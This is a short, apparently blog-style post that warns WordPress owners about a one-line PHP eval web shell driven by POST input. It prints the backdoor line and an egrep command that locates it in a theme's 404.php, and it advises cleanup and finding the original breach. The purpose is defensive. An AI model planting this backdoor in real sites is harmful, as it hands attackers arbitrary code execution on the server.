tl;dr: If you find this line of code in any files of your WordPress install, get worried, get rid of it immediately.

<?php @eval($_POST['@01']);?>

With this line of code, the hacker will be able to execute any code he wants. Therefore this code will have the power to read, update or delete any data he wants.

We don’t know yet what code he will choose to execute because the code will be passed as a $_POST argument. The $_POST[1] argument will contain a string of executable code. Then, eval() will be called with this argument to execute that code.

When the hacker will call your page, passing it some code as a POST argument, he will be performing an attack that is called code injection.

Now that you know that, you have to figure out:

  1. What damage has already been done in order to undo it, if possible?
  2. What security breach allowed the hacker to add the “eval” code to your code base?

If you decide to restore a backup, make sure the “eval” code is not already in your backup. Then, solve problem #2 because the hacker will probably just re-use the same security breach to restore his hack. Even if your backup is clean, the security breach will still be there.

# egrep -lri '@eval' .
./public_html/wp-content/_themes/business-one-page/404.php